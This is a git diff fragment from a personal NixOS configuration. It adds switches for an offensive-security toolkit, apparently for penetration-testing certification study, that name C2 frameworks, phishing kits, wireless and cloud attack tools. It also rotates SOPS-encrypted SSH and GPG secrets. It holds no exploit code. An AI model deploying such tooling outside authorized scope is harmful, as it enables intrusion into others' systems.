daemon.pentest.enable = true; + # The offensive toolkit (modules/features/pentest/). Every switchable + # category is listed here, so the whole toolkit is toggled from one place: + # flip a `false` to `true` and `nh os switch`. + # + # 23 categories carry their own switch. The 12 not named below are on by + # default: core, wordlists, python, recon, ad, web, pivot, crack, shells, + # bloodhound, payloads, gui. The vpn/time/htb/update machinery has no + # switch of its own — it follows `enable` below. See pentest-cheat. + daemon.pentest = { + enable = true; + + # Off by default: each adds a large closure, or needs hardware you may + # not have plugged in. Nothing here is needed for CPTS. + dfir.enable = false; # memory/disk/log forensics (volatility, sleuthkit) + reversing.enable = false; # radare2, rizin, gdb+gef, pwntools + wireless.enable = false; # wifi: aircrack, wifite, kismet, hostapd + radio.enable = false; # SDR/bluetooth/RFID: hackrf, ubertooth, proxmark3 + hardware.enable = false; # flashrom, openocd, sigrok, can-utils + c2.enable = false; # havoc, villain + database.enable = false; # mysql/mssql/redis/mongo clients + cloud.enable = false; # aws, az, gcloud, kubectl, pacu + osint.enable = false; # theharvester, recon-ng, sn0int, dnstwist + social.enable = false; # phishing: gophish, setoolkit — scoped work only + mobile.enable = false; # apktool, jadx, frida, adb + }; # GRUB (themed Rosé Pine Dawn by modules/features/theme.nix) on the EFI # partition at /boot; kernels are copied there since / is a separate btrfs. diff --git a/secrets/secrets.yaml b/secrets/secrets.yaml @@ -4,8 +4,8 @@ #ENC[AES256_GCM,data:a2p5hr+IkHu5tV8yGp/BrT6Lo8NGpafVVv6AXuVVHqQxGjz1F1JCm2udrOTNYUjfq5ktUALQZxtvFjRJuFNoKcGgaDf8luu5cA==,iv:PWN3vdbdD7fSuaKs7o47c/Ynxgxdr8ZlIwRDCRiz720=,tag:/rJ8dymNnO7Hnjc1uIow3w==,type:comment] example: ENC[AES256_GCM,data:EgrtVBB9Lt+pu0u3g9DP7Xwzr5PktqBr4vLw50rn/YlPVdMUzTgO/JmVgyVmjBlFXZySHDk=,iv:lFC1wvWwTdvFFbnXVNeXZGV5nGNCWFHq9kvBNn9bA2U=,tag:ta6b1cPg5MUimd7rRdT1Xw==,type:str] gpg_main_secret: ENC[AES256_GCM,data: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,iv:WJKJp6pacZEEjgJ1jN7vZW6HezWC/2Ed17kMWfVMGpM=,tag:b/vcH8vTGSW2d2AlGMY1kA==,type:str] -ssh_id_ed25519: ENC[AES256_GCM,data:teoDa3F5l+/muZdHrPDYmAxMnxrlERywT+lnuCDan6uVozQ3sNi+JKfLPFfkl99M7OI+qSl/pJQBgYgCJPcWf3bW7P9sXE00pHDciMc59OGpyTRkVQ7m+W30IM6NAJXjIdRidzrVCeuz52TZMsuswzsKX8fn/M0biRFC0yK6WRnpRpeFOCaL2HW95gZv8ppcyPk/3PB9xby/0Y6AUhjC1GKztt+ZoT+yhkG4f14svSPaHWMuKaS5CEt0Lr30SZWf1Fk0DnhkWH8Y+k/q/Pa4iKhxsUheEngpOe4N3cld5reWl52BEHMAkN5BWptX4XjNhRHQzu7oO+xSeoKX+8ieA7W7HWMnqV9WPHhxwRfdgrJk2IO+XjrQCoi/DAgTbwRT0qHD/auyTYzYFn1ymcw8V0GlxIG33KzeDcqB1OrU7pOpyxqnRMRMM4FiKQL83GGQKTxSQ1Mn3EVDJpLAmLa4xp5kxbh+v7ydtZT9qzbwcjfRAiLbmA1MBYy8+LyCpHAMqsGLjMXolxint2a9I97sUUH5xVaS67wfoTfv,iv:NJmXY04ccxJ+KLfWT3r6nOpITraN1k2gMYbcyMX/gMw=,tag:w+ytNiN+eDOiWe8LfE10lQ==,type:str] -ssh_id_ed25519_pub: ENC[AES256_GCM,data:rwwK/75DFSW46WIVlt869GebYoxLDmiIIxIzDkM/rDdW6A+JXPfgZrl1T2UwJ+F4+c78cQ5Q4rWOzibP+SOFZn2dgAoXyZvX0fqYBn0K0emnFHxuOEV9MGX1qGZmToBA+w==,iv:9EA7Py4noOuyzG2A8YKlAA6z6ZGDoDQTX3ksEBegp1I=,tag:/eb/8oOFAW0s7fGmIXO+jA==,type:str] +ssh_id_ed25519: ENC[AES256_GCM,data:1aaVmt5DHWqepJTZjCCTIngXmqI8bEa0v0tvTsFRhALCzDgy9dz7zScXrGoYCwKGG2t6RobjL2EOLNWhUZHmc3F/RQUkDxqMtGNFkOEDPXMXsPj/dr0JKXsHI/ifoc/wliw5FGRMW7MXY3URgf+wHiiH1ZzQ4t+BD65ARFHQxIakZ5CTuLxzWai803I2FYgUvvMmJnhaoWxMjNnFq0IKilyuNNSqXz+T3lnX7pgBn44d/ylQxtLS4j27bivVvJ0nx7sAaAJlUghAYFWeOieS7RE0/G05t2gWJjbLziCsGKZdlsW8+ebVFrZI58prSOrvlbt8eW80VR+TCpGdEbZpk+FEYKHFQnhzBDOz7yC6AJ1a6oDCp+lAjdVf7LOC+QAgetGvEF3rsSuQetdExJjtKnV7wouFxe3us/b55JQTjPTQlZfefUh+jnUHnQyB/+TD1TG+gdeef8skdMK3Li77fxg14OSWAKUN0n9niP8H/tMrPGGWSUP5Nt2AfKU1GWIeEOfgwUfbSnGFKcV3zTMdwmDvAGmHmG8UGS84,iv:9Q29j7cY49gLqUdNS9L99n5lFTtKmIM/YcH7LH1Sei0=,tag:NW5mRUDuVJ8HtAmKXVwzaA==,type:str] +ssh_id_ed25519_pub: ENC[AES256_GCM,data:Gab/oGPDnOgY8vff3l9ViJ5AcUC5DENeM93F2YfXSqHeTCfX6jA/dzMtRwMl0cu13AV705cGwLX9hgrccN0Amp6ReGtZ9QiGaJbBxJql8opDIAxwXTy4CBzkdw8WDCbV5w==,iv:YKoigzjYUtS85B90B8z9n4OhMkJqu1V+GMu/nvDsHAw=,tag:dOINM+w2LKOtUy8Ch450Fg==,type:str] sops: age: - enc: | @@ -17,7 +17,7 @@ sops: NV86EcQtCT8AQqgtugSBUOjmZU6D45/rhEXAM98yP01b8Iw2HhEAuw== -----END AGE ENCRYPTED FILE----- recipient: age1pu5wcvqqh92xr6ces8zmj4xvs52v7yfm4jsfcxm3z82a32u9n97qesldfv - lastmodified: "2026-10-08T02:44:18Z" - mac: ENC[AES256_GCM,data:9H5aSdEmvOaqNxx4Vg7alAC8qc4/RubTX5OHmFQwXGRK2FTAiakQT+uvEdBo7ooGv4bGafuRpiAORmb4ntYYiEvtTPsjw3tEPU5MDITNVtCDLS3U5kgRTCi8PGmb9xQqy3ZzQx0rCtnSssrMYdFcpF2hBN5eeS7eUEuDqlI00P0=,iv:PI3PHmR0oyiPKRLmSOXrFEvnVsCn8Z3Cekap3G9X1Xc=,tag:CytrngeW5P8vDp2/2u1YYw==,type:str] + lastmodified: "2026-10-08T22:26:18Z" + mac: ENC[AES256_GCM,data:0ZJ+aI/gYppwsv1FqeC4G7+79JonLvnNlZkQFvxneaykne9w+qCoPDnOpcHLReetsAsqOELq5IDAi3MoWGjeLgVUnyc1vmk8IcNDF1wcYM+Csu2Ljmh2IqgT6b3S+Z10PRnYp91ygVWEwfUIlJO7zzjBMBcFpetloH9Q+7+GBwc=,iv:Ek/bN8ozBiOCJ/KCGXEJp+kDR0Bfghuqcz0wXdAoXEo=,tag:Pmh1IobcGJ57jbNUj6Nn4A==,type:str] unencrypted_suffix: _unencrypted version: 3.13.3